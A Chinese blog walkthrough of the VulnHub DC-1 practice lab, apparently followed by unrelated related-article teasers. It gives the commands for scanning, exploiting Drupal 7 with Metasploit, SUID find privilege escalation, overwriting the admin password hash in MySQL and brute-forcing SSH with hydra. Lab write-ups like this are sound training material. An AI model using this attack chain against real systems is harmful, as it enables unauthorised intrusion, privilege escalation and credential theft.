当前位置: 首页 > news >正文

vulnhub DC-1靶机 walkthrough

描述

DC-1 是专门为获得渗透测试经验而建造的易受攻击实验室。
它旨在成为初学者的挑战,但其难易程度取决于您的技能和知识以及学习能力。
要成功完成此挑战,您需要具备 Linux 技能、熟悉 Linux 命令行以及使用基本渗透测试工具的经验,例如 Kali Linux 或 Parrot Security OS 上的工具。
获得 root 权限的方法有很多种,但我提供了一些包含初学者线索的标志。
总共有五个标志,但最终目标是在 root 的主目录中找到并读取该标志。您甚至不需要成为 root 即可执行此操作,但是您需要 root 权限。
根据您的技能水平,您可能可以跳过查找大多数这些标志的过程,直接获得 root 权限。
初学者可能会遇到以前从未遇到过的挑战,但只需进行 Google 搜索即可获得完成此挑战所需的信息。

实验

先扫描
arp-scan -l
nmap -p- -A 192.168.110.131
在这里插入图片描述
访问 web 服务
在这里插入图片描述
Drupal 是一个开源的内容管理系统(CMS),用于构建和管理网站及应用程序。它基于 PHP 编写,具有高度灵活性和可扩展性,适用于从个人博客到企业级网站的各种项目。
指纹识别一下(用的 Wappalyzer 浏览器插件,也可以用 kali 的 whatweb 工具)
在这里插入图片描述
拿到 CMS Drupal 版本为 7,找漏打一下
msfconsole
search Drupal
在这里插入图片描述
试一下前两个
use exploit/unix/webapp/drupal_coder_exec
show options
在这里插入图片描述
set RHOST 192.168.110.131
run
在这里插入图片描述
试一下第二个 exp,重复上面操作
在这里插入图片描述
获得了一个非交互式 shell
在这里插入图片描述
python -c 'import pty;pty.spawn("/bin/bash")'获得了交互式 shell
找到去 flag1.txt

www-data@DC-1:/var/www$ cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you.

搜一下 Drupal 配置文件
在这里插入图片描述
全局查找 settings.php
find / -name settings.php
在这里插入图片描述
找到 flag2.txt
说爆破不是唯一获得许可的方式,结合下面的数据库账号密码,这里直接登录然后查找信息
这里因为我已经获得 shell 了,所以直接提权
尝试 suid 提权
find / -perm -4000 2>/dev/null 查找特权文件
在这里插入图片描述
结果 find 设置了 SUID 位,结合 find 的 -exec 参数,对其每个目录知执行 /bin/sh 获取到 root 权限。(/bin/bash 无效果)
在这里插入图片描述
提权成功
在这里插入图片描述
当然,其实中间还有一些其他 flag,下面补充一下
mysql -udbuser -p

show databases;
use drupaldb;
show tables;
show columns from users;

在这里插入图片描述
查出了经过某种算法加密后的账号密码
因为我们这里有数据库权限,所以能够修改密码,但需要知道对应的加密方法,因为处理端会解码。
全局搜索一下 hash passwd 等字眼
在这里插入图片描述
尝试利用这个加密脚本,对我们自己设的密码进行加密,我用 520
看看用法
在这里插入图片描述
/var/www/scripts/password-hash.sh

在这里插入图片描述
password: 520 hash: $S$DpIlEvnFz0QBFn51ZjGfwMVam98wY6riZSKNo4LIHX8LMjo/WXPC

再次登录数据库修改密码
update users set pass='$S$DpIlEvnFz0QBFn51ZjGfwMVam98wY6riZSKNo4LIHX8LMjo/WXPC' where name='admin';
可以看到密码成功修改,由于这是 drupal 的数据库用户信息,所以在 web 服务里直接登录
在这里插入图片描述
成功登录,并仪表盘(dashboard) 位置找到 flag3

在这里插入图片描述
在这里插入图片描述
这里大意就是要找 passwd,与 shadow 有关,且涉及权限。
那么就在 /etc/passwd/etc/shadow 里找一下密码
cat /etc/passwd
在这里插入图片描述
这里就看到了 flag4 用户,而密码保密在 /etc/shadow 下,普通用户无法查看
先尝试 kali hydra 爆破该用户 ssh 登录密码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.110.131
在这里插入图片描述
以 flag4:orange ssh 连接登录
在这里插入图片描述
整个过程到此就结束了,flag4 最后提示以相同的方法获得 root 权限会比较困难,所以采用了 suid find 提权。

总结

  1. 扫描目标,获取 ip 和 服务信息。
  2. 登录 web 服务,指纹识别出 web 框架 Drupal 7
  3. msf 查找漏洞并利用,获取 shell
  4. suid find 提取获得 root

其他

  1. 查找配置文件获取数据库账号密码
  2. 登录,查看用户账号密码
  3. 查找密码加密文件,加密 520,修改 admin 密码,web登录
  4. 查找 Linux 上用户密码信息,找到 flag4用户
  5. hydra 爆破 ssh 密码,连接成功

相关文章:

vulnhub DC-1靶机 walkthrough

描述 DC-1 是专门为获得渗透测试经验而建造的易受攻击实验室。 它旨在成为初学者的挑战,但其难易程度取决于您的技能和知识以及学习能力。 要成功完成此挑战,您需要具备 Linux 技能、熟悉 Linux 命令行以及使用基本渗透测试工具的经验,例如 …...

计算机网络 (58)无线局域网WLAN

前言 无线局域网WLAN(Wireless Local Area Network)是一种利用无线通信技术将计算机设备互联起来,构成可以互相通信和实现资源共享的网络体系。 一、定义与特点 定义: WLAN通过无线信道代替有线传输介质连接两个或多个设备形成一个…...

基于物联网的风机故障检测装置的设计与实现

1 系统总体设计方案 通过对风机故障检测装置的设计与实现的需求、可行性进行分析,本设计风机故障检测装置的设计与实现的系统总体架构设计如图2-1所示,系统风机故障检测装置采用STM32F103单片机作为控制器,并通过DS18B20温度传感器、ACS712电…...

【AI日记】25.01.25

【AI论文解读】【AI知识点】【AI小项目】【AI战略思考】【AI日记】【读书与思考】 AI kaggle 比赛:Forecasting Sticker Sales 读书 书名:法治的细节 律己 AI:8 小时,良作息:00:30-8:30, 良短视频&…...

Sourcetree:一款高效便捷的Git版本控制客户端

Sourcetree:一款高效便捷的Git版本控制客户端 引言 在软件开发领域,版本控制是确保代码质量和项目进度的关键工具。Git作为当前最流行的版本控制系统,已经广泛应用于各类项目中。而Sourcetree作为Git的图形化界面客户端,凭借其易…...

图像处理算法研究的程序框架

目录 1 程序框架简介 2 C#图像读取、显示、保存模块 3 C动态库图像算法模块 4 C#调用C动态库 5 演示Demo 5.1 开发环境 5.2 功能介绍 5.3 下载地址 参考 1 程序框架简介 一个图像处理算法研究的常用程序逻辑框架,如下图所示 在该框架中,将图像处…...

GitLab配置免密登录和常用命令

SSH 免密登录 Windows免密登录 删除现有Key 访问目录:C:\Users\Administrator\ .ssh,删除公钥:id_rsa.pub ,私钥:id_rsa 2.生成.ssh 秘钥 运行命令生成.ssh 秘钥目录( ssh-keygen -t rsa -C xxxxxx126.…...

Chameleon(变色龙) 跨平台编译C文件,并一次性生成多个平台的可执行文件

地址:https://github.com/MartinxMax/Chameleon Chameleon 跨平台编译C文件,并一次性生成多个平台的可执行文件。可以通过编译Chameleon自带的.C文件反向Shell生成不同平台攻击载荷。 登录 & 代理设置 按照以下步骤设置 Docker 的代理: 创建配置目…...

第十四讲 JDBC数据库

1. 什么是JDBC JDBC(Java Database Connectivity,Java数据库连接),它是一套用于执行SQL语句的Java API。应用程序可通过这套API连接到关系型数据库,并使用SQL语句来完成对数据库中数据的查询、新增、更新和删除等操作…...

“AI教学实训系统:打造未来教育的超级引擎

嘿,各位教育界的伙伴们,今天我要跟你们聊聊一个绝对能让你们眼前一亮的教学神器——AI教学实训系统。作为资深产品经理,我可是亲眼见证了这款系统如何颠覆传统教学,成为未来教育的超级引擎。 一、什么是AI教学实训系统&#xff1f…...

java读取设置pdf属性信息

pom <dependency><groupId>org.apache.pdfbox</groupId><artifactId>pdfbox</artifactId><version>2.0.24</version> </dependency>读取属性 import org.apache.pdfbox.pdmodel.PDDocument; import org.apache.pdfbox.pdmod…...

C语言内存管理详解

C语言不像其他高级语言那样提供自动内存管理&#xff0c;它要求程序员手动进行内存的分配和释放。在C语言中&#xff0c;动态内存的管理主要依赖于 malloc、calloc、realloc 和 free 等函数。理解这些函数的用法、内存泄漏的原因及其防止方法&#xff0c;对于编写高效、可靠的C…...

mysql从全备文件中提取单库或单表进行恢复——筑梦之路

前提条件 与业务确认涉及业务、数据库IP、数据误删除时间点、数据删除涉及的SCHEMA、数据表&#xff0c;确认该数据库为MySQLdump备份方式&#xff0c;备份策略为每日凌晨1点进行数据库全备份&#xff0c;备份保留7天&#xff0c;业务误删除数据时间点为当日10点左右&#xff0…...

HTML-新浪新闻-实现标题-排版

标题排版 图片标签&#xff1a;<img> src&#xff1a;指定图片的url&#xff08;绝对路径/相对路径&#xff09; width&#xff1a;图片的宽度&#xff08;像素/相对于父元素的百分比&#xff09; heigth&#xff1a;图片的高度&#xff08;像素/相对于父元素的百分比&a…...

【前沿聚焦】机器学习的未来版图:从自动化到隐私保护的技术突破

网罗开发 &#xff08;小红书、快手、视频号同名&#xff09; 大家好&#xff0c;我是 展菲&#xff0c;目前在上市企业从事人工智能项目研发管理工作&#xff0c;平时热衷于分享各种编程领域的软硬技能知识以及前沿技术&#xff0c;包括iOS、前端、Harmony OS、Java、Python等…...

二叉树的最大深度(C语言详解版)

一、摘要 嗨喽呀大家&#xff0c;leetcode每日一题又和大家见面啦&#xff0c;今天要讲的是104.二叉树的最大深度&#xff0c;思路互相学习&#xff0c;有什么不足的地方欢迎指正&#xff01;好啦让我们开始吧&#xff01;&#xff01;&#xff01; 二、题目简介 给定一个二…...

基于dlib/face recognition人脸识别推拉流实现

目录 一.环境搭建 二.推拉流代码 三.人脸检测推拉流 一.环境搭建 1.下载RTSP服务器MediaMTX与FFmpeg FFmpeg是一款功能强大的开源多媒体处理工具,而MediaMTX则是一个轻量级的流媒体服务器。两者结合,可以实现将本地视频或者实时摄像头画面推送到RTSP流,从而实现视频…...

【kong gateway】5分钟快速上手kong gateway

kong gateway的请求响应示意图 安装 下载对应的docker 镜像 可以直接使用docker pull命令拉取&#xff0c;也可以从以下地址下载&#xff1a;kong gateway 3.9.0.0 docker 镜像 https://download.csdn.net/download/zhangshenglu1/90307400&#xff0c; postgres-13.tar http…...

webrtc入门系列(五)amazon-kinesis-video-streams-webrtc-sdk-c编译

《webrtc入门系列&#xff08;一&#xff09;easy_webrtc_server 入门环境搭建》 《webrtc入门系列&#xff08;二&#xff09;easy_webrtc_server 入门example测试》 《webrtc入门系列&#xff08;三&#xff09;云服务器coturn环境搭建》 《webrtc入门系列&#xff08;四&…...

通过亚马逊云科技Bedrock打造自定义AI智能体Agent(上)

大家对于智能体代理Agent一定已经非常熟悉&#xff0c;自主代理&#xff08;Autonomous Agents&#xff09; 目前在AI行业极其热门并具有巨大的潜力&#xff0c;能够显著提升开发者日常的工作效率、自动化日常琐碎、重复性任务&#xff0c;并生成全新的内容。Agent可以理解用户…...

浅谈 React Hooks

React Hooks 是 React 16.8 引入的一组 API&#xff0c;用于在函数组件中使用 state 和其他 React 特性&#xff08;例如生命周期方法、context 等&#xff09;。Hooks 通过简洁的函数接口&#xff0c;解决了状态与 UI 的高度解耦&#xff0c;通过函数式编程范式实现更灵活 Rea…...

脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)

一、数据处理与分析实战 &#xff08;一&#xff09;实时滤波与参数调整 基础滤波操作 60Hz 工频滤波&#xff1a;勾选界面右侧 “60Hz” 复选框&#xff0c;可有效抑制电网干扰&#xff08;适用于北美地区&#xff0c;欧洲用户可调整为 50Hz&#xff09;。 平滑处理&…...

树莓派超全系列教程文档--(62)使用rpicam-app通过网络流式传输视频

使用rpicam-app通过网络流式传输视频 使用 rpicam-app 通过网络流式传输视频UDPTCPRTSPlibavGStreamerRTPlibcamerasrc GStreamer 元素 文章来源&#xff1a; http://raspberry.dns8844.cn/documentation 原文网址 使用 rpicam-app 通过网络流式传输视频 本节介绍来自 rpica…...

Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例

使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件&#xff0c;常用于在两个集合之间进行数据转移&#xff0c;如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model&#xff1a;绑定右侧列表的值&…...

C++.OpenGL (10/64)基础光照(Basic Lighting)

基础光照(Basic Lighting) 冯氏光照模型(Phong Lighting Model) #mermaid-svg-GLdskXwWINxNGHso {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-GLdskXwWINxNGHso .error-icon{fill:#552222;}#mermaid-svg-GLd…...

SpringCloudGateway 自定义局部过滤器

场景&#xff1a; 将所有请求转化为同一路径请求&#xff08;方便穿网配置&#xff09;在请求头内标识原来路径&#xff0c;然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...

RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程

本文较长&#xff0c;建议点赞收藏&#xff0c;以免遗失。更多AI大模型应用开发学习视频及资料&#xff0c;尽在聚客AI学院。 本文全面剖析RNN核心原理&#xff0c;深入讲解梯度消失/爆炸问题&#xff0c;并通过LSTM/GRU结构实现解决方案&#xff0c;提供时间序列预测和文本生成…...

Xen Server服务器释放磁盘空间

disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...

HDFS分布式存储 zookeeper

hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架&#xff0c;允许使用简单的变成模型跨计算机对大型集群进行分布式处理&#xff08;1.海量的数据存储 2.海量数据的计算&#xff09;Hadoop核心组件 hdfs&#xff08;分布式文件存储系统&#xff09;&a…...

在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)

考察一般的三次多项式&#xff0c;以r为参数&#xff1a; p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]&#xff1b; 此多项式的根为&#xff1a; 尽管看起来这个多项式是特殊的&#xff0c;其实一般的三次多项式都是可以通过线性变换化为这个形式…...